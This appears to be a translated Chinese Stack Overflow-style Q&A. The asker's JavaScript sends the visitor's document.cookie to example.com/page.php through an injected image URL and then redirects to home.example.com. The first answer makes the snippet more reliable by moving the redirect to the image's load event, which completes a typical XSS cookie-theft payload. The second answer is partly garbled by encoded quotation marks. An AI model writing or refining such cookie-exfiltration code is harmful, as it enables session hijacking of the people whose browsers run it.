我正在尝试确保在使用用户的Cookie向page.php发出请求后,我的脚本会重定向到 home.example.com 。我知道我的代码坏了(因为我假设第一个请求总是需要不到20秒才能完成)。是否有任何方法可以确保脚本仅在对page.php的请求完成后重定向?
document.write('<img src="https://example.com/page.php?data=' + document.cookie + '" />');
window.setTimeout(function() {
location.href = "http://home.example.com"
}, 20000);
任何帮助都表示赞赏,对于这个不起眼的问题感到抱歉。
答案 0 :(得分:2)
document.write('<img id="img" />');
var imgNode = document.querySelector("#img");
imgNode.addEventListener("load", function () {
location.href = "http://home.example.com";
});
imgNode.src = "https://example.com/page.php?data=" + document.cookie;
答案 1 :(得分:0)
你应该使用标题&#34; (&#34;刷新:20; url = wherever.php&#34;); &#34;,在使用document.write之前。 您可以参考: - &#34; stackoverflow.com/questions/6119451/page-redirect-after-certain-time-php"